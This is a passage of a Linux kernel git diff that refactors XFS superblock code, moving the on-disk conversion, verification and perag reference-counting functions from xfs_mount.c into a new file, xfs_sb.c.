to->sb_imax_pct = from->sb_imax_pct; - to->sb_icount = be64_to_cpu(from->sb_icount); - to->sb_ifree = be64_to_cpu(from->sb_ifree); - to->sb_fdblocks = be64_to_cpu(from->sb_fdblocks); - to->sb_frextents = be64_to_cpu(from->sb_frextents); - to->sb_uquotino = be64_to_cpu(from->sb_uquotino); - to->sb_gquotino = be64_to_cpu(from->sb_gquotino); - to->sb_qflags = be16_to_cpu(from->sb_qflags); - to->sb_flags = from->sb_flags; - to->sb_shared_vn = from->sb_shared_vn; - to->sb_inoalignmt = be32_to_cpu(from->sb_inoalignmt); - to->sb_unit = be32_to_cpu(from->sb_unit); - to->sb_width = be32_to_cpu(from->sb_width); - to->sb_dirblklog = from->sb_dirblklog; - to->sb_logsectlog = from->sb_logsectlog; - to->sb_logsectsize = be16_to_cpu(from->sb_logsectsize); - to->sb_logsunit = be32_to_cpu(from->sb_logsunit); - to->sb_features2 = be32_to_cpu(from->sb_features2); - to->sb_bad_features2 = be32_to_cpu(from->sb_bad_features2); - to->sb_features_compat = be32_to_cpu(from->sb_features_compat); - to->sb_features_ro_compat = be32_to_cpu(from->sb_features_ro_compat); - to->sb_features_incompat = be32_to_cpu(from->sb_features_incompat); - to->sb_features_log_incompat = - be32_to_cpu(from->sb_features_log_incompat); - to->sb_pad = 0; - to->sb_pquotino = be64_to_cpu(from->sb_pquotino); - to->sb_lsn = be64_to_cpu(from->sb_lsn); -} - -static inline void -xfs_sb_quota_to_disk( - xfs_dsb_t *to, - xfs_sb_t *from, - __int64_t *fields) -{ - __uint16_t qflags = from->sb_qflags; - - if (*fields & XFS_SB_QFLAGS) { - /* - * The in-core version of sb_qflags do not have - * XFS_OQUOTA_* flags, whereas the on-disk version - * does. So, convert incore XFS_{PG}QUOTA_* flags - * to on-disk XFS_OQUOTA_* flags. - */ - qflags &= ~(XFS_PQUOTA_ENFD | XFS_PQUOTA_CHKD | - XFS_GQUOTA_ENFD | XFS_GQUOTA_CHKD); - - if (from->sb_qflags & - (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD)) - qflags |= XFS_OQUOTA_ENFD; - if (from->sb_qflags & - (XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD)) - qflags |= XFS_OQUOTA_CHKD; - to->sb_qflags = cpu_to_be16(qflags); - *fields &= ~XFS_SB_QFLAGS; - } -} - -/* - * Copy in core superblock to ondisk one. - * - * The fields argument is mask of superblock fields to copy. - */ -void -xfs_sb_to_disk( - xfs_dsb_t *to, - xfs_sb_t *from, - __int64_t fields) -{ - xfs_caddr_t to_ptr = (xfs_caddr_t)to; - xfs_caddr_t from_ptr = (xfs_caddr_t)from; - xfs_sb_field_t f; - int first; - int size; - - ASSERT(fields); - if (!fields) - return; - - xfs_sb_quota_to_disk(to, from, &fields); - while (fields) { - f = (xfs_sb_field_t)xfs_lowbit64((__uint64_t)fields); - first = xfs_sb_info[f].offset; - size = xfs_sb_info[f + 1].offset - first; - - ASSERT(xfs_sb_info[f].type == 0 || xfs_sb_info[f].type == 1); - - if (size == 1 || xfs_sb_info[f].type == 1) { - memcpy(to_ptr + first, from_ptr + first, size); - } else { - switch (size) { - case 2: - *(__be16 *)(to_ptr + first) = - cpu_to_be16(*(__u16 *)(from_ptr + first)); - break; - case 4: - *(__be32 *)(to_ptr + first) = - cpu_to_be32(*(__u32 *)(from_ptr + first)); - break; - case 8: - *(__be64 *)(to_ptr + first) = - cpu_to_be64(*(__u64 *)(from_ptr + first)); - break; - default: - ASSERT(0); - } - } - - fields &= ~(1LL << f); - } -} - -static int -xfs_sb_verify( - struct xfs_buf *bp, - bool check_version) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - struct xfs_sb sb; - - xfs_sb_from_disk(&sb, XFS_BUF_TO_SBP(bp)); - - /* - * Only check the in progress field for the primary superblock as - * mkfs.xfs doesn't clear it from secondary superblocks. - */ - return xfs_mount_validate_sb(mp, &sb, bp->b_bn == XFS_SB_DADDR, - check_version); -} - -/* - * If the superblock has the CRC feature bit set or the CRC field is non-null, - * check that the CRC is valid. We check the CRC field is non-null because a - * single bit error could clear the feature bit and unused parts of the - * superblock are supposed to be zero. Hence a non-null crc field indicates that - * we've potentially lost a feature bit and we should check it anyway. - */ -static void -xfs_sb_read_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); - int error; - - /* - * open code the version check to avoid needing to convert the entire - * superblock from disk order just to check the version number - */ - if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC) && - (((be16_to_cpu(dsb->sb_versionnum) & XFS_SB_VERSION_NUMBITS) == - XFS_SB_VERSION_5) || - dsb->sb_crc != 0)) { - - if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), - offsetof(struct xfs_sb, sb_crc))) { - error = EFSCORRUPTED; - goto out_error; - } - } - error = xfs_sb_verify(bp, true); - -out_error: - if (error) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, error); - } -} - -/* - * We may be probed for a filesystem match, so we may not want to emit - * messages when the superblock buffer is not actually an XFS superblock. - * If we find an XFS superblock, the run a normal, noisy mount because we are - * really going to mount it and want to know about errors. - */ -static void -xfs_sb_quiet_read_verify( - struct xfs_buf *bp) -{ - struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); - - - if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC)) { - /* XFS filesystem, verify noisily! */ - xfs_sb_read_verify(bp); - return; - } - /* quietly fail */ - xfs_buf_ioerror(bp, EWRONGFS); -} - -static void -xfs_sb_write_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - struct xfs_buf_log_item *bip = bp->b_fspriv; - int error; - - error = xfs_sb_verify(bp, false); - if (error) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, error); - return; - } - - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return; - - if (bip) - XFS_BUF_TO_SBP(bp)->sb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_sb, sb_crc)); -} - -const struct xfs_buf_ops xfs_sb_buf_ops = { - .verify_read = xfs_sb_read_verify, - .verify_write = xfs_sb_write_verify, -}; - -static const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { - .verify_read = xfs_sb_quiet_read_verify, - .verify_write = xfs_sb_write_verify, -}; - /* * xfs_readsb * * Does the initial read of the superblock. */ int -xfs_readsb(xfs_mount_t *mp, int flags) +xfs_readsb( + struct xfs_mount *mp, + int flags) { unsigned int sector_size; struct xfs_buf *bp; @@ -886,8 +384,8 @@ reread: * Initialize the mount structure from the superblock. */ xfs_sb_from_disk(&mp->m_sb, XFS_BUF_TO_SBP(bp)); - xfs_sb_quota_from_disk(&mp->m_sb); + /* * We must be able to do sector-sized and sector-aligned IO. */ @@ -924,173 +422,6 @@ release_buf: return error; } - -/* - * xfs_mount_common - * - * Mount initialization code establishing various mount - * fields from the superblock associated with the given - * mount structure - */ -STATIC void -xfs_mount_common(xfs_mount_t *mp, xfs_sb_t *sbp) -{ - mp->m_agfrotor = mp->m_agirotor = 0; - spin_lock_init(&mp->m_agirotor_lock); - mp->m_maxagi = mp->m_sb.sb_agcount; - mp->m_blkbit_log = sbp->sb_blocklog + XFS_NBBYLOG; - mp->m_blkbb_log = sbp->sb_blocklog - BBSHIFT; - mp->m_sectbb_log = sbp->sb_sectlog - BBSHIFT; - mp->m_agno_log = xfs_highbit32(sbp->sb_agcount - 1) + 1; - mp->m_agino_log = sbp->sb_inopblog + sbp->sb_agblklog; - mp->m_blockmask = sbp->sb_blocksize - 1; - mp->m_blockwsize = sbp->sb_blocksize >> XFS_WORDLOG; - mp->m_blockwmask = mp->m_blockwsize - 1; - - mp->m_alloc_mxr[0] = xfs_allocbt_maxrecs(mp, sbp->sb_blocksize, 1); - mp->m_alloc_mxr[1] = xfs_allocbt_maxrecs(mp, sbp->sb_blocksize, 0); - mp->m_alloc_mnr[0] = mp->m_alloc_mxr[0] / 2; - mp->m_alloc_mnr[1] = mp->m_alloc_mxr[1] / 2; - - mp->m_inobt_mxr[0] = xfs_inobt_maxrecs(mp, sbp->sb_blocksize, 1); - mp->m_inobt_mxr[1] = xfs_inobt_maxrecs(mp, sbp->sb_blocksize, 0); - mp->m_inobt_mnr[0] = mp->m_inobt_mxr[0] / 2; - mp->m_inobt_mnr[1] = mp->m_inobt_mxr[1] / 2; - - mp->m_bmap_dmxr[0] = xfs_bmbt_maxrecs(mp, sbp->sb_blocksize, 1); - mp->m_bmap_dmxr[1] = xfs_bmbt_maxrecs(mp, sbp->sb_blocksize, 0); - mp->m_bmap_dmnr[0] = mp->m_bmap_dmxr[0] / 2; - mp->m_bmap_dmnr[1] = mp->m_bmap_dmxr[1] / 2; - - mp->m_bsize = XFS_FSB_TO_BB(mp, 1); - mp->m_ialloc_inos = (int)MAX((__uint16_t)XFS_INODES_PER_CHUNK, - sbp->sb_inopblock); - mp->m_ialloc_blks = mp->m_ialloc_inos >> sbp->sb_inopblog; -} - -/* - * xfs_initialize_perag_data - * - * Read in each per-ag structure so we can count up the number of - * allocated inodes, free inodes and used filesystem blocks as this - * information is no longer persistent in the superblock. Once we have - * this information, write it into the in-core superblock structure. - */ -STATIC int -xfs_initialize_perag_data(xfs_mount_t *mp, xfs_agnumber_t agcount) -{ - xfs_agnumber_t index; - xfs_perag_t *pag; - xfs_sb_t *sbp = &mp->m_sb; - uint64_t ifree = 0; - uint64_t ialloc = 0; - uint64_t bfree = 0; - uint64_t bfreelst = 0; - uint64_t btree = 0; - int error; - - for (index = 0; index < agcount; index++) { - /* - * read the agf, then the agi. This gets us - * all the information we need and populates the - * per-ag structures for us. - */ - error = xfs_alloc_pagf_init(mp, NULL, index, 0); - if (error) - return error; - - error = xfs_ialloc_pagi_init(mp, NULL, index); - if (error) - return error; - pag = xfs_perag_get(mp, index); - ifree += pag->pagi_freecount; - ialloc += pag->pagi_count; - bfree += pag->pagf_freeblks; - bfreelst += pag->pagf_flcount; - btree += pag->pagf_btreeblks; - xfs_perag_put(pag); - } - /* - * Overwrite incore superblock counters with just-read data - */ - spin_lock(&mp->m_sb_lock); - sbp->sb_ifree = ifree; - sbp->sb_icount = ialloc; - sbp->sb_fdblocks = bfree + bfreelst + btree; - spin_unlock(&mp->m_sb_lock); - - /* Fixup the per-cpu counters as well. */ - xfs_icsb_reinit_counters(mp); - - return 0; -} - -/* - * Update alignment values based on mount options and sb values - */ -STATIC int -xfs_update_alignment(xfs_mount_t *mp) -{ - xfs_sb_t *sbp = &(mp->m_sb); - - if (mp->m_dalign) { - /* - * If stripe unit and stripe width are not multiples - * of the fs blocksize turn off alignment. - */ - if ((BBTOB(mp->m_dalign) & mp->m_blockmask) || - (BBTOB(mp->m_swidth) & mp->m_blockmask)) { - xfs_warn(mp, - "alignment check failed: sunit/swidth vs. blocksize(%d)", - sbp->sb_blocksize); - return XFS_ERROR(EINVAL); - } else { - /* - * Convert the stripe unit and width to FSBs. - */ - mp->m_dalign = XFS_BB_TO_FSBT(mp, mp->m_dalign); - if (mp->m_dalign && (sbp->sb_agblocks % mp->m_dalign)) { - xfs_warn(mp, - "alignment check failed: sunit/swidth vs. agsize(%d)", - sbp->sb_agblocks); - return XFS_ERROR(EINVAL); - } else if (mp->m_dalign) { - mp->m_swidth = XFS_BB_TO_FSBT(mp, mp->m_swidth); - } else { - xfs_warn(mp, - "alignment check failed: sunit(%d) less than bsize(%d)", - mp->m_dalign, sbp->sb_blocksize); - return XFS_ERROR(EINVAL); - } - } - - /* - * Update superblock with new values - * and log changes - */ - if (xfs_sb_version_hasdalign(sbp)) { - if (sbp->sb_unit != mp->m_dalign) { - sbp->sb_unit = mp->m_dalign; - mp->m_update_flags |= XFS_SB_UNIT; - } - if (sbp->sb_width != mp->m_swidth) { - sbp->sb_width = mp->m_swidth; - mp->m_update_flags |= XFS_SB_WIDTH; - } - } else { - xfs_warn(mp, - "cannot change alignment: superblock does not support data alignment"); - return XFS_ERROR(EINVAL); - } - } else if ((mp->m_flags & XFS_MOUNT_NOALIGN) != XFS_MOUNT_NOALIGN && - xfs_sb_version_hasdalign(&mp->m_sb)) { - mp->m_dalign = sbp->sb_unit; - mp->m_swidth = sbp->sb_width; - } - - return 0; -} - /* * Set the maximum inode count for this filesystem */ @@ -1317,7 +648,7 @@ xfs_mountfs( uint quotaflags = 0; int error = 0; - xfs_mount_common(mp, sbp); + xfs_sb_mount_common(mp, sbp); /* * Check for a mismatched features2 values. Older kernels @@ -1754,48 +1085,6 @@ xfs_log_sbcount(xfs_mount_t *mp) } /* - * xfs_mod_sb() can be used to copy arbitrary changes to the - * in-core superblock into the superblock buffer to be logged. - * It does not provide the higher level of locking that is - * needed to protect the in-core superblock from concurrent - * access. - */ -void -xfs_mod_sb(xfs_trans_t *tp, __int64_t fields) -{ - xfs_buf_t *bp; - int first; - int last; - xfs_mount_t *mp; - xfs_sb_field_t f; - - ASSERT(fields); - if (!fields) - return; - mp = tp->t_mountp; - bp = xfs_trans_getsb(tp, mp, 0); - first = sizeof(xfs_sb_t); - last = 0; - - /* translate/copy */ - - xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, fields); - - /* find modified range */ - f = (xfs_sb_field_t)xfs_highbit64((__uint64_t)fields); - ASSERT((1LL << f) & XFS_SB_MOD_BITS); - last = xfs_sb_info[f + 1].offset - 1; - - f = (xfs_sb_field_t)xfs_lowbit64((__uint64_t)fields); - ASSERT((1LL << f) & XFS_SB_MOD_BITS); - first = xfs_sb_info[f].offset; - - xfs_trans_buf_set_type(tp, bp, XFS_BLFT_SB_BUF); - xfs_trans_log_buf(tp, bp, first, last); -} - - -/* * xfs_mod_incore_sb_unlocked() is a utility routine common used to apply * a delta to a specified field in the in-core superblock. Simply * switch on the field indicated and apply the delta to that field. diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 27d0d5c..5488df1 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -292,14 +292,6 @@ xfs_daddr_to_agbno(struct xfs_mount *mp, xfs_daddr_t d) } /* - * perag get/put wrappers for ref counting - */ -struct xfs_perag *xfs_perag_get(struct xfs_mount *mp, xfs_agnumber_t agno); -struct xfs_perag *xfs_perag_get_tag(struct xfs_mount *mp, xfs_agnumber_t agno, - int tag); -void xfs_perag_put(struct xfs_perag *pag); - -/* * Per-cpu superblock locking functions */ #ifdef HAVE_PERCPU_SB @@ -331,6 +323,8 @@ typedef struct xfs_mod_sb { extern int xfs_log_sbcount(xfs_mount_t *); extern __uint64_t xfs_default_resblks(xfs_mount_t *mp); extern int xfs_mountfs(xfs_mount_t *mp); +extern int xfs_initialize_perag(xfs_mount_t *mp, xfs_agnumber_t agcount, + xfs_agnumber_t *maxagi); extern void xfs_unmountfs(xfs_mount_t *); extern int xfs_mod_incore_sb(xfs_mount_t *, xfs_sb_field_t, int64_t, int); @@ -349,13 +343,4 @@ extern void xfs_set_low_space_thresholds(struct xfs_mount *); #endif /* __KERNEL__ */ -extern void xfs_sb_calc_crc(struct xfs_buf *); -extern void xfs_mod_sb(struct xfs_trans *, __int64_t); -extern int xfs_initialize_perag(struct xfs_mount *, xfs_agnumber_t, - xfs_agnumber_t *); -extern void xfs_sb_from_disk(struct xfs_sb *, struct xfs_dsb *); -extern void xfs_sb_to_disk(struct xfs_dsb *, struct xfs_sb *, __int64_t); - -extern const struct xfs_buf_ops xfs_sb_buf_ops; - #endif /* __XFS_MOUNT_H__ */ diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c new file mode 100644 index 0000000..e650600 --- /dev/null +++ b/fs/xfs/xfs_sb.c @@ -0,0 +1,771 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_format.h" +#include "xfs_bit.h" +#include "xfs_log.h" +#include "xfs_inum.h" +#include "xfs_trans.h" +#include "xfs_trans_priv.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_da_btree.h" +#include "xfs_dir2_format.h" +#include "xfs_dir2.h" +#include "xfs_bmap_btree.h" +#include "xfs_alloc_btree.h" +#include "xfs_ialloc_btree.h" +#include "xfs_dinode.h" +#include "xfs_inode.h" +#include "xfs_btree.h" +#include "xfs_ialloc.h" +#include "xfs_alloc.h" +#include "xfs_rtalloc.h" +#include "xfs_bmap.h" +#include "xfs_error.h" +#include "xfs_quota.h" +#include "xfs_fsops.h" +#include "xfs_trace.h" +#include "xfs_cksum.h" +#include "xfs_buf_item.h" + +/* + * Physical superblock buffer manipulations. Shared with libxfs in userspace. + */ + +static const struct { + short offset; + short type; /* 0 = integer + * 1 = binary / string (no translation) + */ +} xfs_sb_info[] = { + { offsetof(xfs_sb_t, sb_magicnum), 0 }, + { offsetof(xfs_sb_t, sb_blocksize), 0 }, + { offsetof(xfs_sb_t, sb_dblocks), 0 }, + { offsetof(xfs_sb_t, sb_rblocks), 0 }, + { offsetof(xfs_sb_t, sb_rextents), 0 }, + { offsetof(xfs_sb_t, sb_uuid), 1 }, + { offsetof(xfs_sb_t, sb_logstart), 0 }, + { offsetof(xfs_sb_t, sb_rootino), 0 }, + { offsetof(xfs_sb_t, sb_rbmino), 0 }, + { offsetof(xfs_sb_t, sb_rsumino), 0 }, + { offsetof(xfs_sb_t, sb_rextsize), 0 }, + { offsetof(xfs_sb_t, sb_agblocks), 0 }, + { offsetof(xfs_sb_t, sb_agcount), 0 }, + { offsetof(xfs_sb_t, sb_rbmblocks), 0 }, + { offsetof(xfs_sb_t, sb_logblocks), 0 }, + { offsetof(xfs_sb_t, sb_versionnum), 0 }, + { offsetof(xfs_sb_t, sb_sectsize), 0 }, + { offsetof(xfs_sb_t, sb_inodesize), 0 }, + { offsetof(xfs_sb_t, sb_inopblock), 0 }, + { offsetof(xfs_sb_t, sb_fname[0]), 1 }, + { offsetof(xfs_sb_t, sb_blocklog), 0 }, + { offsetof(xfs_sb_t, sb_sectlog), 0 }, + { offsetof(xfs_sb_t, sb_inodelog), 0 }, + { offsetof(xfs_sb_t, sb_inopblog), 0 }, + { offsetof(xfs_sb_t, sb_agblklog), 0 }, + { offsetof(xfs_sb_t, sb_rextslog), 0 }, + { offsetof(xfs_sb_t, sb_inprogress), 0 }, + { offsetof(xfs_sb_t, sb_imax_pct), 0 }, + { offsetof(xfs_sb_t, sb_icount), 0 }, + { offsetof(xfs_sb_t, sb_ifree), 0 }, + { offsetof(xfs_sb_t, sb_fdblocks), 0 }, + { offsetof(xfs_sb_t, sb_frextents), 0 }, + { offsetof(xfs_sb_t, sb_uquotino), 0 }, + { offsetof(xfs_sb_t, sb_gquotino), 0 }, + { offsetof(xfs_sb_t, sb_qflags), 0 }, + { offsetof(xfs_sb_t, sb_flags), 0 }, + { offsetof(xfs_sb_t, sb_shared_vn), 0 }, + { offsetof(xfs_sb_t, sb_inoalignmt), 0 }, + { offsetof(xfs_sb_t, sb_unit), 0 }, + { offsetof(xfs_sb_t, sb_width), 0 }, + { offsetof(xfs_sb_t, sb_dirblklog), 0 }, + { offsetof(xfs_sb_t, sb_logsectlog), 0 }, + { offsetof(xfs_sb_t, sb_logsectsize),0 }, + { offsetof(xfs_sb_t, sb_logsunit), 0 }, + { offsetof(xfs_sb_t, sb_features2), 0 }, + { offsetof(xfs_sb_t, sb_bad_features2), 0 }, + { offsetof(xfs_sb_t, sb_features_compat), 0 }, + { offsetof(xfs_sb_t, sb_features_ro_compat), 0 }, + { offsetof(xfs_sb_t, sb_features_incompat), 0 }, + { offsetof(xfs_sb_t, sb_features_log_incompat), 0 }, + { offsetof(xfs_sb_t, sb_crc), 0 }, + { offsetof(xfs_sb_t, sb_pad), 0 }, + { offsetof(xfs_sb_t, sb_pquotino), 0 }, + { offsetof(xfs_sb_t, sb_lsn), 0 }, + { sizeof(xfs_sb_t), 0 } +}; + +/* + * Reference counting access wrappers to the perag structures. + * Because we never free per-ag structures, the only thing we + * have to protect against changes is the tree structure itself. + */ +struct xfs_perag * +xfs_perag_get( + struct xfs_mount *mp, + xfs_agnumber_t agno) +{ + struct xfs_perag *pag; + int ref = 0; + + rcu_read_lock(); + pag = radix_tree_lookup(&mp->m_perag_tree, agno); + if (pag) { + ASSERT(atomic_read(&pag->pag_ref) >= 0); + ref = atomic_inc_return(&pag->pag_ref); + } + rcu_read_unlock(); + trace_xfs_perag_get(mp, agno, ref, _RET_IP_); + return pag; +} + +/* + * search from @first to find the next perag with the given tag set. + */ +struct xfs_perag * +xfs_perag_get_tag( + struct xfs_mount *mp, + xfs_agnumber_t first, + int tag) +{ + struct xfs_perag *pag; + int found; + int ref; + + rcu_read_lock(); + found = radix_tree_gang_lookup_tag(&mp->m_perag_tree, + (void **)&pag, first, 1, tag); + if (found <= 0) { + rcu_read_unlock(); + return NULL; + } + ref = atomic_inc_return(&pag->pag_ref); + rcu_read_unlock(); + trace_xfs_perag_get_tag(mp, pag->pag_agno, ref, _RET_IP_); + return pag; +} + +void +xfs_perag_put( + struct xfs_perag *pag) +{ + int ref; + + ASSERT(atomic_read(&pag->pag_ref) > 0); + ref = atomic_dec_return(&pag->pag_ref); + trace_xfs_perag_put(pag->pag_mount, pag->pag_agno, ref, _RET_IP_); +} + +/* + * Check the validity of the SB found. + */ +STATIC int +xfs_mount_validate_sb( + xfs_mount_t *mp, + xfs_sb_t *sbp, + bool check_inprogress, + bool check_version) +{ + + /* + * If the log device and data device have the + * same device number, the log is internal. + * Consequently, the sb_logstart should be non-zero. If + * we have a zero sb_logstart in this case, we may be trying to mount + * a volume filesystem in a non-volume manner. + */ + if (sbp->sb_magicnum != XFS_SB_MAGIC) { + xfs_warn(mp, "bad magic number"); + return XFS_ERROR(EWRONGFS); + } + + + if (!xfs_sb_good_version(sbp)) { + xfs_warn(mp, "bad version"); + return XFS_ERROR(EWRONGFS); + } + + if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && + (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | + XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { + xfs_notice(mp, +"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); + return XFS_ERROR(EFSCORRUPTED); + } + + /* + * Version 5 superblock feature mask validation. Reject combinations the + * kernel cannot support up front before checking anything else. For + * write validation, we don't need to check feature masks. + */ + if (check_version && XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) { + xfs_alert(mp, +"Version 5 superblock detected. This kernel has EXPERIMENTAL support enabled!\n" +"Use of these features in this kernel is at your own risk!"); + + if (xfs_sb_has_compat_feature(sbp, + XFS_SB_FEAT_COMPAT_UNKNOWN)) { + xfs_warn(mp, +"Superblock has unknown compatible features (0x%x) enabled.\n" +"Using a more recent kernel is recommended.", + (sbp->sb_features_compat & + XFS_SB_FEAT_COMPAT_UNKNOWN)); + } + + if (xfs_sb_has_ro_compat_feature(sbp, + XFS_SB_FEAT_RO_COMPAT_UNKNOWN)) { + xfs_alert(mp, +"Superblock has unknown read-only compatible features (0x%x) enabled.", + (sbp->sb_features_ro_compat & + XFS_SB_FEAT_RO_COMPAT_UNKNOWN)); + if (!(mp->m_flags & XFS_MOUNT_RDONLY)) { + xfs_warn(mp, +"Attempted to mount read-only compatible filesystem read-write.\n" +"Filesystem can only be safely mounted read only."); + return XFS_ERROR(EINVAL); + } + } + if (xfs_sb_has_incompat_feature(sbp, + XFS_SB_FEAT_INCOMPAT_UNKNOWN)) { + xfs_warn(mp, +"Superblock has unknown incompatible features (0x%x) enabled.\n" +"Filesystem can not be safely mounted by this kernel.", + (sbp->sb_features_incompat & + XFS_SB_FEAT_INCOMPAT_UNKNOWN)); + return XFS_ERROR(EINVAL); + } + } + + if (unlikely( + sbp->sb_logstart == 0 && mp->m_logdev_targp == mp->m_ddev_targp)) { + xfs_warn(mp, + "filesystem is marked as having an external log; " + "specify logdev on the mount command line."); + return XFS_ERROR(EINVAL); + } + + if (unlikely( + sbp->sb_logstart != 0 && mp->m_logdev_targp != mp->m_ddev_targp)) { + xfs_warn(mp, + "filesystem is marked as having an internal log; " + "do not specify logdev on the mount command line."); + return XFS_ERROR(EINVAL); + } + + /* + * More sanity checking. Most of these were stolen directly from + * xfs_repair. + */ + if (unlikely( + sbp->sb_agcount <= 0 || + sbp->sb_sectsize < XFS_MIN_SECTORSIZE || + sbp->sb_sectsize > XFS_MAX_SECTORSIZE || + sbp->sb_sectlog < XFS_MIN_SECTORSIZE_LOG || + sbp->sb_sectlog > XFS_MAX_SECTORSIZE_LOG || + sbp->sb_sectsize != (1 << sbp->sb_sectlog) || + sbp->sb_blocksize < XFS_MIN_BLOCKSIZE || + sbp->sb_blocksize > XFS_MAX_BLOCKSIZE || + sbp->sb_blocklog < XFS_MIN_BLOCKSIZE_LOG || + sbp->sb_blocklog > XFS_MAX_BLOCKSIZE_LOG || + sbp->sb_blocksize != (1 << sbp->sb_blocklog) || + sbp->sb_inodesize < XFS_DINODE_MIN_SIZE || + sbp->sb_inodesize > XFS_DINODE_MAX_SIZE || + sbp->sb_inodelog < XFS_DINODE_MIN_LOG || + sbp->sb_inodelog > XFS_DINODE_MAX_LOG || + sbp->sb_inodesize != (1 << sbp->sb_inodelog) || + (sbp->sb_blocklog - sbp->sb_inodelog != sbp->sb_inopblog) || + (sbp->sb_rextsize * sbp->sb_blocksize > XFS_MAX_RTEXTSIZE) || + (sbp->sb_rextsize * sbp->sb_blocksize < XFS_MIN_RTEXTSIZE) || + (sbp->sb_imax_pct > 100 /* zero sb_imax_pct is valid */) || + sbp->sb_dblocks == 0 || + sbp->sb_dblocks > XFS_MAX_DBLOCKS(sbp) || + sbp->sb_dblocks < XFS_MIN_DBLOCKS(sbp))) { + XFS_CORRUPTION_ERROR("SB sanity check failed", + XFS_ERRLEVEL_LOW, mp, sbp); + return XFS_ERROR(EFSCORRUPTED); + } + + /* + * Until this is fixed only page-sized or smaller data blocks work. + */ + if (unlikely(sbp->sb_blocksize > PAGE_SIZE)) { + xfs_warn(mp, + "File system with blocksize %d bytes. " + "Only pagesize (%ld) or less will currently work.", + sbp->sb_blocksize, PAGE_SIZE); + return XFS_ERROR(ENOSYS); + } + + /* + * Currently only very few inode sizes are supported. + */ + switch (sbp->sb_inodesize) { + case 256: + case 512: + case 1024: + case 2048: + break; + default: + xfs_warn(mp, "inode size of %d bytes not supported", + sbp->sb_inodesize); + return XFS_ERROR(ENOSYS); + } + + if (xfs_sb_validate_fsb_count(sbp, sbp->sb_dblocks) || + xfs_sb_validate_fsb_count(sbp, sbp->sb_rblocks)) { + xfs_warn(mp, + "file system too large to be mounted on this system."); + return XFS_ERROR(EFBIG); + } + + if (check_inprogress && sbp->sb_inprogress) { + xfs_warn(mp, "Offline file system operation in progress!"); + return XFS_ERROR(EFSCORRUPTED); + } + + /* + * Version 1 directory format has never worked on Linux. + */ + if (unlikely(!xfs_sb_version_hasdirv2(sbp))) { + xfs_warn(mp, "file system using version 1 directory format"); + return XFS_ERROR(ENOSYS); + } + + return 0; +} + +void +xfs_sb_quota_from_disk( + struct xfs_sb *sbp) +{ + if (sbp->sb_qflags & XFS_OQUOTA_ENFD) { + sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? + XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; + } + if (sbp->sb_qflags & XFS_OQUOTA_CHKD) { + sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? + XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; + } + sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); +} + +void +xfs_sb_from_disk( + struct xfs_sb *to, + xfs_dsb_t *from) +{ + to->sb_magicnum = be32_to_cpu(from->sb_magicnum); + to->sb_blocksize = be32_to_cpu(from->sb_blocksize); + to->sb_dblocks = be64_to_cpu(from->sb_dblocks); + to->sb_rblocks = be64_to_cpu(from->sb_rblocks); + to->sb_rextents = be64_to_cpu(from->sb_rextents); + memcpy(&to->sb_uuid, &from->sb_uuid, sizeof(to->sb_uuid)); + to->sb_logstart = be64_to_cpu(from->sb_logstart); + to->sb_rootino = be64_to_cpu(from->sb_rootino); + to->sb_rbmino = be64_to_cpu(from->sb_rbmino); + to->sb_rsumino = be64_to_cpu(from->sb_rsumino); + to->sb_rextsize = be32_to_cpu(from->sb_rextsize); + to->sb_agblocks = be32_to_cpu(from->sb_agblocks); + to->sb_agcount = be32_to_cpu(from->sb_agcount); + to->sb_rbmblocks = be32_to_cpu(from->sb_rbmblocks); + to->sb_logblocks = be32_to_cpu(from->sb_logblocks); + to->sb_versionnum = be16_to_cpu(from->sb_versionnum); + to->sb_sectsize = be16_to_cpu(from->sb_sectsize); + to->sb_inodesize = be16_to_cpu(from->sb_inodesize); + 